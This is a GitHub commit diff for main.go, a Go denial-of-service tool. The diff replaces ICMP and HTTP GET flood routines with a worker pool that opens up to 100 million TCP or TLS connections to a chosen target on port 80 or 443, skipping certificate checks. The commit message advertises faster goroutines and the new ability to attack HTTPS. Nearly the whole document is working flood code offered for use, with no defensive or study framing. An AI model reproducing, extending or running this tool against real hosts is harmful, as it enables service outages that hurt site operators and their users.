Skip to content

Commit a5cc518

Browse files
committed
Refactored script for better concurrency support. Spin up times for go routines decreased. Can attack https on port 443 now.
1 parent 9a4120d commit a5cc518

File tree

1 file changed

+88
-89
lines changed

1 file changed

+88
-89
lines changed

main.go

Lines changed: 88 additions & 89 deletions
Original file line numberDiff line numberDiff line change
@@ -1,118 +1,117 @@
11
package main
22

33
import (
4-
"fmt"
5-
"net/http"
64
"os"
7-
"strconv"
8-
"sync"
9-
"strings"
10-
"github.com/sparrc/go-ping"
5+
"log"
6+
str "strconv"
7+
"net"
8+
"fmt"
9+
"crypto/tls"
1110
)
1211

1312
var (
14-
wg sync.WaitGroup
15-
mutex sync.Mutex
16-
successfulHits int
17-
missedHits int
13+
workers int
14+
target string
15+
port int
1816
)
1917

2018
const (
21-
threadLimit = 5000
22-
icmp = "icmp"
23-
httpGet = "httpget"
19+
jobCount = 100_000_000 // AMOUNT of requests to send.
2420
)
2521

26-
func main() {
27-
method, target, threads := parseArgs()
28-
29-
fmt.Println("Press CTRL + C to quit")
30-
fmt.Println()
31-
fmt.Println("Attacking " + target + "...")
32-
33-
for i := 0; i < threads; i++ {
34-
wg.Add(1)
35-
36-
switch method {
37-
case icmp:
38-
go icmpFlood(target, &wg)
39-
case httpGet:
40-
go httpGetFlood(target, &wg)
41-
default:
42-
fmt.Println("Method chosen not available")
43-
os.Exit(1)
44-
}
45-
}
46-
wg.Wait()
22+
func init() {
23+
parseArgs(&workers, &target, &port)
4724
}
4825

49-
func parseArgs() (method string, target string, numbOfThreads int) {
50-
if len(os.Args) != 4 {
51-
fmt.Println("Error: Wrong arguements passed")
52-
fmt.Println()
53-
fmt.Println(`Usage: <method> <target> <threads>`)
26+
func httpAttackWorker(workerID int, jobs chan int, result chan int) {
27+
switch port {
28+
case 80:
29+
for job := range jobs {
30+
address := target + ":" + str.Itoa(port)
31+
_, err := net.Dial("tcp", address)
5432

55-
fmt.Println(`Example: www.mysite.com 100`)
56-
fmt.Println()
33+
if err != nil {
34+
log.Printf("Worker: %d - Bad response from target! - %d \n", workerID, job)
35+
result <- 0
36+
continue
37+
}
38+
39+
log.Printf("Worker: %d - Job:%d - Target Hit! \n", workerID, job)
40+
result <- 1
41+
}
42+
case 443:
43+
config := &tls.Config{ InsecureSkipVerify: true, }
44+
45+
for job := range jobs {
46+
address := target + ":" + str.Itoa(port)
47+
_, err := tls.Dial("tcp", address, config)
48+
49+
if err != nil {
50+
log.Printf("Worker: %d - Bad response from target! - %d \n", workerID, job)
51+
result <- 0
52+
continue
53+
}
54+
55+
log.Printf("Worker: %d - Job:%d - Target Hit! \n", workerID, job)
56+
result <- 1
57+
}
58+
default:
59+
fmt.Println("Invalid port number entered.")
60+
os.Exit(1)
61+
}
62+
}
5763

64+
func parseArgs(workers *int, target *string, port *int) {
65+
if len(os.Args) < 4 {
66+
log.Println("Not enough parameters passed. ")
67+
fmt.Println("Usage: go run main.go <threads> <target> <port>")
5868
os.Exit(1)
5969
}
60-
// Parsed args
61-
method = strings.ToLower(os.Args[1])
62-
target = os.Args[2]
63-
numbOfThreads, _ = strconv.Atoi(os.Args[3])
6470

65-
if (areNumberOfThreadsValid(numbOfThreads)) == false {
66-
fmt.Println("Error: The number of threads you enter exceeds the limit; ", threadLimit)
71+
if _, err := str.Atoi(os.Args[1]); err != nil {
72+
log.Println("Thread must be a number")
73+
fmt.Println("Usage: go run main.go <threads> <target> <port>")
6774
os.Exit(1)
6875
}
69-
return method, target, numbOfThreads
70-
}
71-
72-
func areNumberOfThreadsValid(threads int) bool {
73-
threads = int(threads)
7476

75-
if threads > threadLimit {
76-
return false
77+
if _, err := str.Atoi(os.Args[3]); err != nil {
78+
log.Println("Port must be a number")
79+
fmt.Println("Usage: go run main.go <threads> <target> <port>")
80+
os.Exit(1)
7781
}
78-
return true
79-
}
80-
81-
func httpGetFlood(target string, wg *sync.WaitGroup) {
82-
for {
83-
_, err := http.Get(target)
84-
85-
if err != nil { // Server could be down as failed to get a response from host.
86-
mutex.Lock()
87-
missedHits++
88-
fmt.Print(missedHits, " missed hits \r")
89-
mutex.Unlock()
90-
}
9182

92-
{
93-
mutex.Lock()
94-
successfulHits++
95-
fmt.Print(successfulHits, " direct hits \r")
96-
mutex.Unlock()
97-
}
98-
}
99-
wg.Done()
83+
// On succesful conversion, set worker count
84+
*workers,_ = str.Atoi(os.Args[1])
85+
*target = os.Args[2]
86+
*port,_ = str.Atoi(os.Args[3])
10087
}
10188

102-
func icmpFlood(target string, wg *sync.WaitGroup) {
103-
pinger, err := ping.NewPinger(target)
104-
105-
if err != nil {
106-
fmt.Println("Failed to get a response from host")
107-
}
89+
func sendJobsToWorkers(jobCount int, jobs chan int){
90+
for j := 0; j <= jobCount; j++ {
91+
jobs <- j
92+
}
93+
log.Println("Jobs placed in buff3r.")
94+
close(jobs)
95+
}
10896

109-
pinger.Count = 10000 // Packets to send
110-
pinger.Size = 127 // 127 bytes in size
111-
pinger.Run() // Blocks until complete
97+
func startWorkers(workers int, jobs, results chan int) {
98+
for w := 1; w < workers; w++ {
99+
go httpAttackWorker(w, jobs, results)
100+
}
101+
}
112102

113-
stats := pinger.Statistics()
114-
fmt.Print("%d sent - %d packet loss", stats.PacketsSent, stats.PacketLoss)
103+
func main() {
104+
jobs := make(chan int, jobCount)
105+
results := make(chan int, jobCount)
115106

116-
wg.Done() // Decrement thread counter once complete
117-
fmt.Println("Ping Complete.")
118-
}
107+
go startWorkers(workers, jobs, results)
108+
go sendJobsToWorkers(jobCount, jobs)
109+
110+
// - Blocks till jobs finished.
111+
for r := 1; r < jobCount; r++ {
112+
<-results
113+
}
114+
115+
close(results)
116+
log.Println("Finished attacking. Workers put to sleep... ")
117+
}

0 commit comments

Comments
 (0)